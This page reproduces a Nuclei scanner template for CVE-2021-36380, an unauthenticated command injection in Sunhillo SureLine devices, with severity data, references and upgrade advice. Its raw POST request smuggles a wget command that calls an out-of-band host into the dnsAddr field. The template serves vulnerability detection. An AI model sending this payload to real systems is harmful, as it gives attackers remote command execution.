CVE-2021-36380: Sunhillo SureLine <8.7.0.1.1 - Unauthenticated OS Command Injection

2025-08-01 Sunhillo SureLine PoC Public

Description

Sunhillo SureLine <8.7.0.1.1 is vulnerable to OS command injection. The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request injects a new command that instructs the server to establish a reverse TCP connection to another system, allowing the establishment of an interactive remote shell session.

PoC

id: CVE-2021-36380

info:
  name: Sunhillo SureLine <8.7.0.1.1 - Unauthenticated OS Command Injection
  author: gy741
  severity: critical
  description: Sunhillo SureLine <8.7.0.1.1 is vulnerable to OS command injection. The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request injects a new command that instructs the server to establish a reverse TCP connection to another system, allowing the establishment of an interactive remote shell session.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: |
    Upgrade to Sunhillo SureLine version 8.7.0.1.1 or later to mitigate this vulnerability.
  reference:
    - https://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36380
    - https://www.sunhillo.com/product/sureline/
    - https://github.com/Ostorlab/KEV
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-36380
    cwe-id: CWE-78
    epss-score: 0.97599
    epss-percentile: 0.99899
    cpe: cpe:2.3:a:sunhillo:sureline:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sunhillo
    product: sureline
  tags: cve2021,cve,sureline,rce,oast,sunhillo,kev,vkev,vuln

http:
  - raw:
      - |
        POST /cgi/networkDiag.cgi HTTP/1.1
        Host: {{Hostname}}

        command=2&ipAddr=&dnsAddr=$(wget+http://{{interactsh-url}})&interface=0&netType=0&scrFilter=&dstFilter=&fileSave=false&pcapSave=false&fileSize=

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4a0a0047304502204e2a324ea9ce386e773c8d6eab52601e8e8eba6d1433fe1f7d32c331e45d39f50221009a91d7197f622be4d1159c0868b7b100900f239c9b87f20ac0bc18b050dec477:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-36380.yaml

References

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